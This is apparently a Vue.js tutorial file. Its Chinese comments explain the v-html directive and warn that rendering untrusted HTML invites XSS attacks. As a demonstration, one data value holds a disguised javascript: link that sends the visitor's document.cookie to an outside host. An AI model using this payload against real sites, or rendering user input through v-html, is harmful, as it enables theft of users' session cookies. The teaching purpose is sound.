<!--
* @description  
* @fileName  2_v-html
* @author zhoujunlin
* @date 2022-03-20 20:51:00
* @version V1.0.0
!-->
<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>2_v-html</title>
    <script src="../js/vue.js"></script>
</head>

<!-- 

v-html:
1. 作用：向指定节点中渲染包含html结构的内容。更新元素的innerHtml,注意：
内容按普通HTML插入，不会作为VUE模板进行编译。如果视图使用v-html组合模板，
可以重新考虑是否通过使用组件代替。
2. 与插值语法的区别：
（1）v-html会替换掉节点中的内容，你原来的内容会被代替无法与原来的内容一起出现，{{xx}}则可以
（2）v-html可以识别html结构 v-text不可以
3. 严重注意：v-html有安全性问题：
（1）在网站上动态渲染任意HTML是非常危险的 容易导致XSS攻击
（2）一定要在可信的内容上使用v-html，永不要用在用户提交的内容上（评论等）
 -->

<body>
    <div id="app">
        <div>你好，{{name}}</div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>

    <script>
        Vue.config.productionTip = false
        var vm = new Vue({
            el: '#app',
            data() {
                return {
                    name:'vue',
                    str:'<h3>你好啊，VUE</h3>',
                    str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
                }
            }
        });

    </script>
</body>

</html>